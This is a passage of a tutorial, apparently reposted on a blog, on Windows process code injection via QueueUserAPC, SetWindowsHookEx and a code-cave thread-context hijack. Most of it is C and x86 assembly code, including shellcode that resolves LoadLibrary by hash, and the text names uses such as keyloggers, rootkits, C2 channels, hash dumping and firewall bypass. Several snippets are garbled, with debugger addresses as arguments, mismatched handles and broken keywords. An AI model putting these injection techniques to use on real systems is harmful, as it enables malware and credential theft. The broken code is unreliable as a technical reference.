We begin by creating a process using CreateProcess, which is the where we are trying to inject the code into:
1
2
3
4
5
| PROCESS_INFORMATION pi; STARTUPINFOA Startup; ZeroMemory(&Startup, sizeof (Startup)); ZeroMemory(&pi, sizeof (pi)); CreateProcessA( "C:\Windows\notepad.exe" NULL, NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &Startup, &pi); |
Once the process is created, OpenProcess is called with the following arguments:
1
| OpenProcess(PROCESS_ALL_ACCESS,FALSE, /*ProcessId*/ 348); |
1
| PVOID mem = VirtualAllocEx(Process_handle, NULL, 0x21, MEM_COMMIT, PAGE_READWRITE);
|
1
| WriteProcessMemory( /*hProcess*/ 00000070, /*Address*/ mem, /*Buffer*/ 0012FD20, /*BytesToWrite */ 21 , /*BytesWritten*/ 0012F9D0);
|
After that, we use Thread32First and Thread32Next to get the thread ID of Notepad.exe. To do this, first a Call to CreateToolhelp32Snapshot is made:
1
| HANDLE h = CreateToolhelp32Snapshot( /*process id */ 0 , /*flags*/ TH32CS_SNAPALL); |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| LPTHREADENTRY32 arr; Thread32First(h, arr); While(1) { if (Arr. th32OwnerProcessID == process_id_of_notepad.exe) { HANDLE h = OpenThread (THREAD_ALL_ACCESS , 0, Arr.th32ThreadID); HANDLE addr = GetProcessAdress( "LoadLibraryA" , GetModuleHandleA( "Kernel32.dll" )); QueueUserAPC(addr, h, mem); } Else Thread32Next(h, arr); } |
Once the above code is executed, the API “QueueUserAPC” adds a user-mode asynchronous procedure call (APC) object to the APC queue of the specified thread.
If an application queues an APC before the thread begins running, the thread begins by calling the APC function. Hence, once an APC is queued, the thread is resumed, and once that’s done, the APC is executed immediately.
The SetWindowsHookEx method
The SetWindowsHookEx method is a little bit more intrusive than the first, and creates more of a commotion in the injected process, which we normally don’t want. However, it is a little bit easier to use, and does have its own advantages, like being able to inject into every process on the system in one shot.
The SetWindowsHookEx() function is designed to allow you to “hook” Windows messages for a given thread. This requires that you inject a DLL into that process’s address space, so SetWindowsHookEx() handles all that for us. The DLL must have a function for the hook that it created though, otherwise it will crash.
1
2
3
4
5
6
| HHOOK SetWindowsHookEx( int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId ); |
The variable idHook is just that, the ID of the message that we want to hook. We’ll be using WH_CBT message.
WH_CBT Installs a hook procedure that receives notifications useful to a computer-based training (CBT) application.
We’ll need to create a CBT hook procedure in our DLL, so that when the hook is called, we can handle it properly.
1
2
3
4
| LRESULT CALLBACK CBTProc( int nCode, WPARAM wParam, LPARAM lParam) { return CallNextHookEx(0, nCode, wParam, lParam); }; |
All we’re doing is calling the next hook in the chain of hooks that exist for this message. Getting back to the SetWindowsHookEx() function, the next parameter we see is lpfn.
lpfn is exactly as it sounds: “long pointer to function.” That’s a pointer to our CBT hook proc function. To get this, we’ll have to either hardcode the address, or load the DLL first ourselves. We’ll load the DLL using LoadLibrary() and use GetProcAddress() to get the address of our function.
1
2
3
4
| HMODULE hDll; unsigned long cbtProcAddr; hDll = LoadLibrary( "injected.dll" ); cbtProcAddr = GetProcAddress(hDll, "CBTProc" ); |
Now, in cbtProcAddr, we have the address of our function. Parameter 3 of SetWindowsHookEx() is a handle to our DLL, and we’ve already obtained this in the process of getting the address of CBTProc. hDll is a handle to our DLL, returned by LoadLibrary.
Now, there is only one parameter left in the SetWindowsHookEx() function, the dwThreadId parameter. If you want to inject your DLL into every process on the system, which is useful for global function hooks, keyloggers, Trojans, rootkits, etc., you can simply specify 0 for this parameter. If you want to target a specific process, you’ll need to get the ID of one of its threads.
1
2
3
4
5
6
7
8
9
| BOOL InjectDll( char *dllName) { HMODULE hDll; unsigned long cbtProcAddr; hDll = LoadLibrary(dllName); cbtProcAddr = GetProcAddress(hDll, "CBTProc" ); SetWindowsHookEx(WH_CBT, cbtProcAddr, hDll, 0 /*Specific process id */ ); return TRUE; } |
The code cave method
In this method, code is injected into the target process by allocating a chunk of memory in the target process. This code is responsible for loading the DLL into the process.
The following code will be used to do this:
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
| pushfd pushad push RET_ADDR push DLL_NAME call LOADLIBRARY_LOCATE call eax // Restore the registers and flags popad popfd // Return control to the hijacked thread Ret LOADLIBRARY_LOCATE: Call find_kernel32 Push eax Push HASH_of_LoadLibrary Call find_function /* EAX will hold the absolute address of LoadLibrary*/ find_kernel32: push esi xor eax, eax mov eax, fs:[eax+0x30] mov eax, [eax + 0x0c] mov esi, [eax + 0x1c] lodsd mov eax, [eax + 0x8] pop esi ret find_function: mov ebp, [esp+4] mov eax, [ebp + 0x3c] mov edx, [ebp + eax + 0x78] add edx, ebp mov ecx, [edx + 0x18] mov ebx, [edx + 0x20] add ebx, ebp find_function_loop: jecxz find_function_finished dec ecx mov esi, [ebx + ecx * 4] add esi, ebp compute_hash: xor edi, edi xor eax, eax cld compute_hash_again: lodsb test al, al jz compute_hash_finished ror edi, 0xd add edi, eax jmp compute_hash_again compute_hash_finished: find_function_compare: cmp edi, [esp + 0x8] jnz find_function_loop mov ebx, [edx + 0x24] add ebx, ebp mov cx, [ebx + 2 * ecx] mov ebx, [edx + 0x1c] add ebx, ebp mov eax, [ebx + 4 * ecx] add eax, ebp find_function_finished: ret |
Now, before injecting the code, the section DLL_NAME and RET_ADDR need to be patched with the address of the DLL’s filename and return address. This is the address where the thread should resume once the code stub has finished execution.
Now let’s move on to allocating memory in the process where the DLL needs to be injected. There are two kinds of memory that needs to be injected:
Want to learn more?? The InfoSec Institute Ethical Hacking course goes in-depth into the techniques used by malicious, black hat hackers with attention getting lectures and hands-on lab exercises.
While these hacking skills can be used for malicious purposes, this
class teaches you how to use the same hacking techniques to perform a
white-hat, ethical hack, on your organization. You leave with the
ability to quantitatively assess and measure threats to information
assets; and discover where your organization is most vulnerable to black
hat hackers. Some features of this course include:
- Dual Certification - CEH and CPT
- 5 days of Intensive Hands-On Labs
- Expert Instruction
- CTF exercises in the evening
- Most up-to-date proprietary courseware available
- Memory with read and write privileges: this memory will hold the name of the DLL file.
- Memory with read, write and execute privileges: this memory will hold the code stub that will load the DLL.
1
2
3
4
5
6
7
| void *dllname, *code; HANDLE process; process = OpenProcess((PROCESS_VM_WRITE | PROCESS_VM_OPERATION), false , 342 /*processed*/ ); dllname = VirtualAllocEx(process, NULL, ( strlen (DLLS_NAME) + 1), MEM_COMMIT, PAGE_READWRITE); code = VirtualAllocEx(process, NULL, codelength, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(process, dllname, DLLS_NAME, strlen (DLLS_NAME), NULL); |
The next thing that we need to get is the context of one of the threads running in the process that needs to be injected with code. To find the thread, we can use the technique mentioned in the first section of the article “DLL Injection using QueueUserAPC,” which is using Thread32First and Thread32Next. Once we have the thread ID, we can use the following code to get and set the threads context:
1
| HANDLE thread = OpenThread((THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME), false , thread /*from Thread32First()*/ ); |
Once we have opened the handle to the thread, we need to suspend the thread and capture its context. The context of a thread is the state of its registers such as Integer Registers, Debug registers, control registers, and Floating point registers, but the one we are interested in is EIP.
Since the thread is suspended, we can change the EIP value and force it to continue its execution in a different path altogether. Here we’ll change its execution path to the location of our stub code:
1
2
3
4
5
6
7
8
9
10
11
12
| SuspendThread( thread ); GetThreadContext( thread , &ctx); oldIP = ctx.Eip; ctx.Eip = ( DWORD )code; ctx.ContextFlags = CONTEXT_CONTROL; //Patch RET_ADDR memcpy (( void *)((unsigned long )code_orig + 3), &oldIP, 4); //Patch the DLL_NAME memcpy (( void *)((unsigned long )code_orig + 8), &dllname, 4); WriteProcessMemory(hProcess, code, code_orig, stubLen, NULL); SetThreadContext(hThread, &ctx); ResumeThread(hThread); |
The above code first suspends the thread and captures the context, and from the context it extracts the EIP, which is recorded as the point to resume execution when our code stub finishes. The new EIP is set as our injected code’s location.
The next step is to patch the marked locations with data such as the DLL filename address and return address.
We can see that the instruction push 0xAAAAAAAA is at offset 0×3 from the start (from the fig. below). This will hold the return address, and we can copy the value of oldIP to this location.
The second push, as you can see, holds the address of the DLL name, that is push 0xBBBBBBBB, and the offset where the value is placed is 0×8. The value dllname is copied at this location.
The next important part is to locate the address of LoadLibrary, which can vary because the ASLR in newer OS randomizes the load locations of kernel32.dll.
To get around that, the code “LOADLIBRARY_LOCATE” is added. This will locate the API within kernel32.dll and place a call to it. This routine is taken from Skape’s “Understanding Windows Shellcode” white paper.
When all the modifications are done, it will be injected into the process and then the context of the thread is set and its execution resumed.
Once the thread starts execution, the DLL will be loaded and after that process is finished, it will return back to the point it was suspended at and begin its execution there.
Conclusion
This article outlines few of the code injection techniques commonly used in modern malware to inject code into another processes for various purposes like creating a C2 channel (a command and control channel), dumping hashes for ex. hash dump softwares like pwdump etc.. These techniques are useful in bypassing protections like firewalls permitted programs (which contains the list of processes allowed to communicate with the internet).
One other thing that needs attention is the injected code, if it has errors or if it crashes, it can pull down the entire process. So the code needs to be written very carefully and tested thoroughly before injecting it into another process.
References
- http://www.codeproject.com/Articles/4610/Three-Ways-to-Inject-Your-Code-into-Another-Proces
- http://www.abysssec.com/blog/2009/01/03/how-bypass-firewall-with-process-injection/
- http://software.rkuster.com/articles/winspy.htm
- http://resources.infosecinstitute.com/code-injection-techniques/
No hay comentarios:
Publicar un comentario